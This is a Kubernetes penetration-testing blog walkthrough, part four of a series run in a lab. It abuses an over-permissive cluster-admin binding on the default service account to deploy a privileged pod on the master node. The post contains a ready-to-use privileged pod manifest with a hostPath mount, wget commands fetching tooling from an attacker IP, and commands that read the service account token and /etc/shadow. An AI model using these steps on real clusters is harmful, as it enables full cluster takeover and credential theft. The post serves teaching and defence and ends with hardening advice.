Introduction
In Part One, we began our offensive journey by exploiting a vulnerable web app to gain initial access to a Kubernetes container.
In Part Two, we escalated privileges using the exposed Docker socket, ultimately compromising the underlying worker node’s filesystem.
In Part Three, we explored another critical attack path, chaining a Server-Side Template Injection (SSTI) vulnerability with the --privileged flag to escape the container and execute commands directly on the host system.
Now in Part Four, we demonstrate how excessive Role-Based Access Control (RBAC) permissions can be abused to deploy a privileged pod directly onto the master node, mount the host’s root filesystem, and achieve full cluster compromise.
This technique highlights how chaining seemingly unrelated misconfigurations, like RBAC over-permission and pod privilege escalation, can lead to complete Kubernetes control.
What We’ll Learn
In this blog, we’ll walk through:
- Enumerating RBAC from inside a compromised container
- Understanding Roles, RoleBindings, ClusterRoles, and ClusterRoleBindings
- Identifying when the
defaultservice account hascluster-adminaccess - Abusing that misconfiguration to compromise the Kubernetes worker or master node
Video Walkthrough
RBT Security’s Kubernetes Lab Infrastructure
In our lab environment, the default service account in the default namespace was intentionally bound to the cluster-admin ClusterRole.
This misconfiguration grants unrestricted access to the Kubernetes API, allowing any pod using that service account to compromise the entire cluster, including both worker and master nodes.
Post-Exploitation Enumeration: RBAC Analysis
After gaining a reverse shell via RCE vulnerability like Command Injection or SSTI, our next step is to enumerate RBAC permissions.
Step 1: Check Which Service Account We’re Running As
cat /var/run/secrets/kubernetes.io/serviceaccount/tokenWhat is inside the token?
That long string is a Base64-encoded JWT (JSON Web Token). When decoded (e.g., via jwt.io), it reveals:
sub: system:serviceaccount:default:default
This confirms the pod is using the default service account in the default namespace.
Step 2: Check Permissions
./kubectl auth can-i create pods --all-namespaces
./kubectl auth can-i '*' '*' --all-namespacesIf these return yes, we may have cluster-admin access. But to confirm, we need to understand and inspect Kubernetes RBAC.
RBAC in Kubernetes (For Pentesters)
RBAC (Role-Based Access Control) governs who can do what in Kubernetes. It’s built around four core objects:
| Object | Description |
|---|---|
Role | Grants access to resources within a namespace |
RoleBinding | Binds a Role to a user/group/service account in a specific namespace |
ClusterRole | Grants access to resources cluster-wide or across all namespaces |
ClusterRoleBinding | Binds a ClusterRole to a user/group/service account cluster-wide |
Attacker Goal: Identify Dangerous ClusterRoleBindings
As a pentester, our priority is to identify if the default service account (automatically assigned to pods unless overridden) has excessive privileges.
This would allow any pod using that service account to create/delete/exec/modify anything in the cluster, including launching pods on the worker or master node.
Identifying RBAC Misconfigurations
Step 1: List ClusterRoleBindings
./kubectl get clusterrolebindings -o json
./kubectl get clusterrolebindings -o json | jq
./kubectl get clusterrolebindings -o yaml | grep -A5 "cluster-admin"The default service account in the default namespace is bound to the cluster-admin ClusterRole via a ClusterRoleBinding.
This means:
- Any pod running in the
defaultnamespace without a specific service account will use thedefaultservice account by default - That pod has unrestricted access to the Kubernetes API
- We can:
- Create pods
- Delete nodes
- Access secrets
- Escalate privileges
- Exec into any pod
- Schedule pods on master nodes
- Dump the entire cluster state
Exploitation: Deploy a Privileged Pod on the Master Node
We’ll exploit this access by creating a privileged pod, mounting the host’s / filesystem, and scheduling it directly on the master node.
Step 1: Create the Malicious YAML File
apiVersion: v1
kind: Pod
metadata:
name: kubernetes-pentest-part4
labels:
app: kubernetes-pentest-part4
spec:
hostNetwork: true
containers:
- name: rbac-master-compromise
image: hackingkubernetes/api:latest
imagePullPolicy: IfNotPresent
volumeMounts:
- name: hostsvolume
mountPath: /attacker
ports:
- containerPort: 8080
securityContext:
privileged: true
volumes:
- name: hostsvolume
hostPath:
path: /
nodeName: masterStep 2: Transfer Files and Deploying the Pod
wget http://192.168.115.178:8000/rbac-master-compromise.yaml
wget http://192.168.115.178:8000/kubectl
chmod +x kubectl
./kubectl create -f rbac-master-compromise.yamlStep 3: Confirm Pod Creation
./kubectl get podsShell Access and Host Takeover
./kubectl exec -it kubernetes-pentest-part4 -- /bin/sh
id && whoami
ifconfig ens37
cat /attacker/etc/hostname # Should say 'master'
cat /attacker/etc/shadow # Dumps user hashesWe are now inside a privileged pod running on the master node, with the host mounted under /attacker.
After deploying our privileged pod with hostNetwork: true and mounting the host filesystem via hostPath: /, we used kubectl exec to verify access.
Running ifconfig ens37 revealed the host’s IP address: 192.168.115.135, matching the master node.
We further confirmed system access by:
- Reading
/attacker/etc/hostname - Listing files inside
/attacker/root/– (docker-sock-vuln-crackme.txt)
A parallel terminal session on the master node showed identical contents, confirming complete host compromise.
Conclusion
This part of our Kubernetes penetration testing series demonstrates how a seemingly small misconfiguration, binding the default service account in the default namespace to the cluster-admin ClusterRole, can result in full control of the entire cluster.
From a single reverse shell, we:
- Enumerated RBAC permissions from inside the cluster
- Confirmed over-privileged access via ClusterRoleBinding
- Deployed a privileged pod directly on the master node
- Mounted the host filesystem and extracted sensitive data
This attack chain underscores a critical lesson: access control in Kubernetes is everything. When RBAC is misconfigured, it becomes the shortest path from container escape to full cluster compromise, no kernel exploits or CVEs required.
What’s Next?
In Part Five, we’ll go after the heart of Kubernetes: the etcd key-value store.
We’ll demonstrate how attackers can enumerate, access, and dump secrets from etcd when it’s exposed or misconfigured.
Defender Takeaways
- Always enforce least privilege for service accounts.
- Never assign
cluster-admintodefaultor namespace-wide accounts. - Implement admission control policies (e.g., OPA Gatekeeper) to block privileged containers or
hostPathmounts. - Audit your RBAC bindings regularly using tools like
rakkess,kubeaudit, or native Kubernetes APIs.
References
- Kubernetes RBAC Authorization
- Kubernetes Service Account
- MITRE ATT&CK T1068 – Privilege Escalation
- Kubernetes Pod Security Standards
- Open Policy Agent (OPA) Gatekeeper

Christian Ramirez (a.k.a. Polunchis) is a seasoned cybersecurity professional with nearly two decades of hands-on experience in offensive security and adversarial simulations. He specializes in web application, cloud (AWS, Azure, GCP), and infrastructure penetration testing, having led numerous high-impact engagements that strengthened organizational resilience worldwide.
His expertise spans red and purple team assessments, exploit and malware development, advanced evasion techniques, and bypassing AV/EDR defenses. Over his career, Christian Ramirez has tested diverse environments including web services, APIs (SOAP & REST), thick clients, wireless networks, SAP ERP systems, and ATMs.
Renowned for delivering realistic adversary emulation and comprehensive threat analysis, Christian Ramirez empowers organizations to detect, defend, and respond to advanced threats effectively. Blending technical precision with strategic insight, he helps teams uncover vulnerabilities and elevate overall security maturity.
When not dissecting systems or leading red team operations, Christian Ramirez shares his knowledge through research, thought leadership, and collaborative defense initiatives that push the boundaries of modern cybersecurity.









